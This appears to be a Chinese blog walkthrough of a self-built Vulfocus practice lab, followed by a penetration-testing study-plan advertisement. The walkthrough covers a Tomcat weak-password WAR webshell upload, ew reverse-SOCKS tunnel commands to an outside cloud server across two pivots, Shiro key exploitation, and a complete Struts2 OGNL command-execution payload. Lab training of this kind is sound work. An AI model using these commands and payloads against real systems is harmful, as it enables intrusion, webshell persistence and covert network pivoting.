记一次自己搭建内网靶场(非常详细),零基础入门到精通

文章目录
    • 前言
    • 0x01 环境搭建
    • 0x02 环境编排
    • 0x03 靶场实战
      • web打点
      • 内网穿透(一层代理)
      • 内网穿透(二层代理)
    • 0x04 总结
  • 零基础渗透测试学习计划
    • 学习路线图大纲总览
    • 学习计划
      • 阶段一:初级网络安全工程师
      • 阶段二:中级or高级网络安全工程师(看自己能力)
      • 阶段三:顶级网络安全工程师
  • 资料领取

前言

开源项目,将漏洞环境 docker 镜像,放入即可使用,开箱即用,我们搭建在云服务器上,高一点的配置会更好,可以按需搭建本地虚拟机中和自己的服务器上,我们用该环境制作靶场训练。

0x01 环境搭建

https://github.com/fofapro/vulfocus


也有在线的,不过不好用,还是自己搭建一个比较方便。

保证服务器中有docker,使用docker一键拉取。

docker pull vulfocus/vulfocus:latest

启动该容器

访问端口自己随便设置,将自己的IP替换xx.xx.xx.xx

docker run -d -p xx:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xx.xx.xx.xx  vulfocus/vulfocus

图片

访问web界面

如果访问不到,查看自己的防火墙是否关闭,如果是云服务器,去控制台查看该端口是否对外开放 默认用户名密码为admin,如果搭建在云服务器上建议修改密码。

图片

进入系统后,先同步一下镜像

若同步显示服务器内部错误,那就重新拉取一个新的镜像

docker pull dockerproxy.com/vulfocus/vulfocus:latest

图片

下载自己需要的镜像就可以了,在这里我们随便下载几个命令执行的镜像,方便我们去搭建环境。

图片

随便选几个,我们去搭建环境。

0x02 环境编排

先创建三个网卡,看自己的需要,需要几个就创建几个。

图片

创建编排模式

图片

开始创造环境,记得是托,点不了。

图片

选择已下载的镜像,随便设置两层。

图片

点击保存。然后发布。

图片

图片

开启环境之前,记得设置一下环境开启的时间,一般默认是每个环境三十分钟,可能不太够。

图片

然后开启环境。

图片

访问目标环境

图片

环境搭建成功

0x03 靶场实战

web打点

tomcat8.0.43,使用tomcat弱口令+后台war包上传组合拳可以拿到webshell。注意jsp马需要压缩为zip后将后缀改为war包才能上传

图片

上传war包

图片

访问一下shell。

图片

拿到webshell的方法。

第一种方法:先用哥斯拉生成一个jsp木马,然后使用命令:

jar cvf x.war x.jsp

上传就可以了。

第二种方法:使用msf生成一个war包。

第三种方法:使用msf搜索漏洞,一键利用。

这里我们使用第一种办法。

使用冰蝎连接我们上传的webshell。

图片

图片

拿到第一个flag。

内网穿透(一层代理)

成功拿到webshell,现在我们进行信息收集

ip a

``

图片

上传一个fscan,做一下信息收集

图片

进行信息收集

图片

192.168.1.1:8080 open192.168.1.3:8080 open192.168.1.2:8899 open192.168.1.2:22 open192.168.1.1:8009 open192.168.1.3:8009 open[*] WebTitle http://192.168.1.3:8080   code:200 len:11230  title:Apache Tomcat/8.0.43[+] PocScan http://192.168.1.3:8080/manager/html poc-yaml-tomcat-manager-weak [{username tomcat} {password tomcat}][*] WebTitle http://192.168.1.1:8080   code:200 len:1024  title:Apache Shiro Quickstart
发现192.168.1.1 这个内网ip存在shiro框架

我们现在进行内网穿透。

可选择的方式比较多,可以用很多方式,frp,ew等。

https://github.com/SexyBeast233/SecBooks/blob/main/%E3%80%90%E5%86%85%E7%BD%91%E7%B3%BB%E5%88%97%E3%80%91intranet/%E6%9C%80%E5%A5%BD%E7%94%A8%E7%9A%84%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E5%B7%A5%E5%85%B7%E5%90%88%E9%9B%86.md

在这里我想使用ew,因为他比较轻便,也挺好用的,一条命令就可以解决问题。

图片

先把ew工具上传到目标机器,然后准备一台云服务器,上传ew工具。

云服务器上:

./ew_for_linux64 -s rcsocks -l 1008 -e 8888

``

图片

目标机器中

./ew_for_linux64 -s rssocks -d 123.60.137.229 -e 8888
记得赋权

图片

显示第一层代理搭建完成,我们使用火狐浏览器去测试。

图片

成功搭建完成。

内网穿透(二层代理)

通过刚才fscan扫描出来的结果

发现另一处web界面,存在shiro框架。

图片

配置bp代理,抓包测试。

图片

登陆测试

图片

图片

发现存在shiro框架,我们使用工具去爆破key。

图片

记得先挂我们使用ew搭建的一层代理。

图片

尝试利用。

图片

命令执行成功,打入内存马

图片

使用冰蝎去连接,记得挂代理

图片

成功拿到该机器的webshell,找到flag。

图片

继续信息收集,发现该机器也有两张网卡,继续上传fscan扫描,发现存在

图片

图片

继续搭建二层代理,我们继续使用ew这个工具,也可以尝试别的工具,萝卜青菜,各有所爱。

剩下的操作就和一层代理一个道理,主要是进行二层代理转发

云服务器

./ew_for_linux64 -s lcx_listen -l 1080 -e 8889

``

192.168.1.3机器

./ew_for_linux64 -s ssocksd -l 9999

``

192.168.1.1机器

./ew_for_linux64 -s lcx_slave -d xxx.xx.xx.xx -e 8889 -f 192.168.1.3 -g 9999

浏览器访问测试,看是否穿透成功。

图片

可通过访问 xx.xx.xx.xx:1080 来使用192.168.1.3主机提供的 socks5 代理

图片

这样就可以连接到二层隧道了,继续进行漏洞探测就可以了。

访问另一个web界面,尝试找到它的漏洞

图片

配置bp抓包。

图片

手工找到漏洞点测试判断

图片

payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

图片

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

图片

0x04 总结

构建的场景都是一些可以拿到shell的漏洞,而且都是linux机器,只是练习内网穿透,代理转发的一些操作,不算真正意义的内网渗透。

如果想要学习内网渗透(域渗透),建议自己本地使用虚拟机搭建,目前还没发现免费的在线的域渗透靶场,不过有收费的,想要学习的师傅们也可以去玩玩。

—END—

零基础渗透测试学习计划

学习路线图大纲总览


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴文末免费领取哦,无偿分享!!!

【一一帮助网络安全学习,以下所有资源文末免费领取一一】
①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)


那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

这部分内容对于咱们零基础的同学来说还太过遥远了,由于篇幅问题就不展开细说了,我给大家贴一个学习路线。感兴趣的童鞋可以自行研究一下哦,当然你也可以点击这里加我与我一起互相探讨、交流、咨询哦。

在这里插入图片描述

资料领取

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值